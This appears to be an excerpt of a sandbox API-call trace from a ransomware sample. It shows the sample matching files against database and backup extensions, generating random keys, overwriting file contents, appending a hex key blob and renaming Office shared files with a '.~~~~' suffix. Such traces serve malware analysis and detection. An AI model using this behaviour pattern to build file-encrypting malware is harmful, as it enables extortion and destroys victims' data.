	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".SDF") returned 0x0
	[0086.960] lstrlenW (lpString=".dtxs") returned 5
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".dtxs") returned 0x0
	[0086.960] lstrlenW (lpString=".db3") returned 4
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".db3") returned 0x0
	[0086.960] lstrlenW (lpString=".OST") returned 4
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".OST") returned 0x0
	[0086.960] lstrlenW (lpString=".dbx") returned 4
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".dbx") returned 0x0
	[0086.960] lstrlenW (lpString=".DB3") returned 4
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DB3") returned 0x0
	[0086.960] lstrlenW (lpString=".DAT") returned 4
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DAT") returned 0x0
	[0086.960] lstrlenW (lpString=".VHDX") returned 5
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".VHDX") returned 0x0
	[0086.960] lstrlenW (lpString=".ndf") returned 4
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".ndf") returned 0x0
	[0086.960] lstrlenW (lpString=".DB") returned 3
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DB") returned 0x0
	[0086.961] lstrlenW (lpString=".sql") returned 4
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".sql") returned 0x0
	[0086.961] lstrlenW (lpString=".MYD") returned 4
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".MYD") returned 0x0
	[0086.961] lstrlenW (lpString=".DBT") returned 4
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DBT") returned 0x0
	[0086.961] lstrlenW (lpString=".ACCDB") returned 6
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".ACCDB") returned 0x0
	[0086.961] lstrlenW (lpString=".fdb") returned 4
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".fdb") returned 0x0
	[0086.961] lstrlenW (lpString=".bak") returned 4
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".bak") returned 0x0
	[0086.961] lstrlenW (lpString=".myd") returned 4
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".myd") returned 0x0
	[0086.961] lstrlenW (lpString=".DTXS") returned 5
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DTXS") returned 0x0
	[0086.961] lstrlenW (lpString=".ckp") returned 4
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".ckp") returned 0x0
	[0086.961] lstrlenW (lpString=".dbt") returned 4
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".dbt") returned 0x0
	[0086.961] lstrlenW (lpString=".db") returned 3
	[0086.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".db") returned 0x0
	[0086.961] lstrlenW (lpString=".TXT") returned 4
	[0086.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".TXT") returned 0x0
	[0086.962] lstrlenW (lpString=".MDF") returned 4
	[0086.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".MDF") returned 0x0
	[0086.962] lstrlenW (lpString=".bdb") returned 4
	[0086.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".bdb") returned 0x0
	[0086.962] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.962] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.964] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.964] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0086.964] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20695436043) returned 1
	[0086.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9da4c7b0, dwHighDateTime=0x1d60e1e)) 
	[0086.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b480
	[0086.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b480 | out: hHeap=0x300000) returned 1
	[0086.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb810
	[0086.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2158
	[0086.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb810 | out: hHeap=0x300000) returned 1
	[0086.965] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.965] GetLastError () returned 0x0
	[0086.966] GetLastError () returned 0x0
	[0086.966] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.966] GetLastError () returned 0x0
	[0086.966] GetLastError () returned 0x0
	[0087.062] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.062] WriteFile (in: hFile=0x128, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.063] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.063] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.112] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.112] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.112] CloseHandle (hObject=0x128) returned 1
	[0087.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6028
	[0087.112] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll.~~~~")) returned 1
	[0087.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6028 | out: hHeap=0x300000) returned 1
	[0087.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.113] GetLastError () returned 0x0
	[0087.497] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0087.498] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.498] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.498] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20748830468) returned 1
	[0087.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9df5b670, dwHighDateTime=0x1d60e1e)) 
	[0087.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6f80
	[0087.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6f80 | out: hHeap=0x300000) returned 1
	[0087.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6568
	[0087.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0087.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6568 | out: hHeap=0x300000) returned 1
	[0087.499] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0087.499] GetLastError () returned 0x0
	[0087.499] GetLastError () returned 0x0
	[0087.499] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0087.499] GetLastError () returned 0x0
	[0087.499] GetLastError () returned 0x0
	[0087.503] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff1d56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.503] WriteFile (in: hFile=0x124, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0xe2aa, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x1f8fec0*=0xe2aa, lpOverlapped=0x0) returned 1
	[0087.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.504] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.504] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.504] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.504] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.505] CloseHandle (hObject=0x124) returned 1
	[0087.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6568
	[0087.505] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.~~~~")) returned 1
	[0087.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6568 | out: hHeap=0x300000) returned 1
	[0087.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.506] GetLastError () returned 0x0
	[0087.510] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0087.511] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.511] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.511] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20750103684) returned 1
	[0087.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9df817d0, dwHighDateTime=0x1d60e1e)) 
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e300
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e300 | out: hHeap=0x300000) returned 1
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0087.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0087.512] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0087.512] GetLastError () returned 0x0
	[0087.512] GetLastError () returned 0x0
	[0087.512] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0087.512] GetLastError () returned 0x0
	[0087.512] GetLastError () returned 0x0
	[0087.517] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.518] WriteFile (in: hFile=0x134, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.520] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.520] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.523] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.523] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.523] CloseHandle (hObject=0x134) returned 1
	[0087.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0087.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.~~~~")) returned 1
	[0087.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0087.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.524] GetLastError () returned 0x0
	[0087.525] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0087.526] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.526] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.526] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20751602716) returned 1
	[0087.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9dfa7930, dwHighDateTime=0x1d60e1e)) 
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6f10
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6f10 | out: hHeap=0x300000) returned 1
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0087.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0087.527] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0087.527] GetLastError () returned 0x0
	[0087.527] GetLastError () returned 0x0
	[0087.527] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0087.527] GetLastError () returned 0x0
	[0087.527] GetLastError () returned 0x0
	[0087.533] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.533] WriteFile (in: hFile=0x134, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.536] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.776] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.016] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.016] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.017] CloseHandle (hObject=0x134) returned 1
